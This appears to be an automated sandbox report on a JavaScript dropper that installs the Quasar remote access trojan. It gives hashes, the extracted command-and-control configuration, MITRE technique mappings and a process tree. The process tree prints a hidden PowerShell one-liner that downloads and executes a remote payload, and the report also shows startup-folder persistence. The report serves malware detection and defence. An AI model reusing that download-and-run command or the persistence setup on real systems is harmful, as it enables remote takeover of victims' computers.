quasar | 83a13145ef3a38ec971b30c681bbd9b5f8aeeab00823f7d49c43b17b0eab7fa3

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/11/2026, 12:18

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General

Target
DCPPP.js
Size 81KB
Sample261104-pgmaract6l
SHA256 83a13145ef3a38ec971b30c681bbd9b5f8aeeab00823f7d49c43b17b0eab7fa3
MD5 92a31f04201f06cf68ae3b63dba03019
SHA1 0653cbb513740e83cbfbdf7a47d8d6116c5f75e9
SHA512 b955ef4ba1ce344f53239e39a5238a03150bf7ed2cb100656fe758722f8970810058326aa0579b69984953634190a1bef922bca3dc75a20140351335d504e583
SSDEEP 1536:3ojHoB7o4o7o4oBo7oDo7o7oBo7oFoBo7o+oBoB7o2o7oaolo7oWojHoB7oCo7oX:3e+lOlMO2OOMOYMOrM+DOP4Oje+XOs2s
TLSH
T12E8391DA9802AF95060444053F01CEC6FD56BA6693C3F3A51C8AFF37592D08E9C6BBE4
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

bora discovery execution quasar persistence privilege_escalation spyware trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://dimonpert.com/cim.png

Extracted

Family

quasar

Version

2.8.0.1

Botnet

Bora

191.96.224.177:5552

Mutex

1ZE2SECt9G0IYxD74o

Attributes

encryption_key
N3lCPSrS6BRljoCDClTr
install_name
Venom.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
Logs
reconnect_delay
3000
startup_key
Venom Client Startup

Signatures

Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4324	1280	cmd.exe	85

Quasar payload 1 IoCs

resource	yara_rule
behavioral1/memory/3740-15-0x0000000000400000-0x00000000004EC000-memory.dmp	family_quasar

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	1880	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1880	powershell.exe

.NET Reactor proctector 1 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/memory/1880-12-0x00000222F49A0000-0x00000222F49C6000-memory.dmp	net_reactor

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\meu_script_gerado23.bat	wscript.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
29	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1880 set thread context of 3740	1880	powershell.exe	98

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4324	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PowerShell_ISE.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1880	powershell.exe
1880	powershell.exe
1880	powershell.exe
1880	powershell.exe
1880	powershell.exe
1880	powershell.exe
1880	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1880	powershell.exe
Token: SeDebugPrivilege	3740	PowerShell_ISE.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4324 wrote to memory of 1880	4324	cmd.exe	88
PID 1880 wrote to memory of 512	1880	powershell.exe	97
PID 1880 wrote to memory of 3740	1880	powershell.exe	98
PID 1880 wrote to memory of 3740	1880	powershell.exe	98
PID 1880 wrote to memory of 3740	1880	powershell.exe	98
PID 1880 wrote to memory of 3740	1880	powershell.exe	98
PID 1880 wrote to memory of 3740	1880	powershell.exe	98

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\DCPPP.js
1⤵
- Creates a file in the Startup directory
- Reads the TCP/IP host and domain name from the registry
PID:4008

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\meu_script_gerado23.bat""
1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('https://dimonpert.com/cim.png')
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1880
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\PowerShell_ISE.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\PowerShell_ISE.exe"
    3⤵
    PID:512
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\PowerShell_ISE.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\PowerShell_ISE.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3740

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_i1mofrsk.z2i.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i1mofrsk.z2i.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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meu_script_gerado23.bat

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\meu_script_gerado23.bat
Size 155B
SHA256 9594414e16e756fdccd3e2e621922e663bb9ba38a6a302fddb9acbd30d3d8d87
MD5 59c59b53f62c2d0daa63198923ead0dc
SHA1 3218e67d972ba7d7bcf698505bfe6d9310abcfa5
SHA512 3eea7f09b40ea0f908aa1667493810275b42c2d69580f7e4db4a17c1f2d67f83af1dc37883193958add35207347bd0d9c2037347004e8c2596520ed9fc421efd
TLSH
T1CCC08C06A110AEB80E438E86D09BBA48DE1F324F26718280E2B2C262ED04896E11E247
MD5 SHA1 SHA512 TLSH

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memory/1880-14-0x00000222F49F0000-0x00000222F4A00000-memory.dmp

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memory/1880-4-0x00000222F4970000-0x00000222F4992000-memory.dmp

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memory/1880-2-0x00000222F49F0000-0x00000222F4A00000-memory.dmp

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memory/1880-12-0x00000222F49A0000-0x00000222F49C6000-memory.dmp

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memory/1880-3-0x00000222F49F0000-0x00000222F4A00000-memory.dmp

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memory/1880-13-0x00000222F49F0000-0x00000222F4A00000-memory.dmp

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memory/3740-15-0x0000000000400000-0x00000000004EC000-memory.dmp

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memory/3740-18-0x0000000005B00000-0x00000000060A4000-memory.dmp

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memory/3740-19-0x0000000005610000-0x00000000056A2000-memory.dmp

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memory/3740-20-0x0000000005550000-0x00000000055B6000-memory.dmp

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memory/3740-21-0x0000000005AB0000-0x0000000005AC2000-memory.dmp

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memory/3740-22-0x00000000067B0000-0x00000000067EC000-memory.dmp

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memory/3740-23-0x0000000006AA0000-0x0000000006AAA000-memory.dmp

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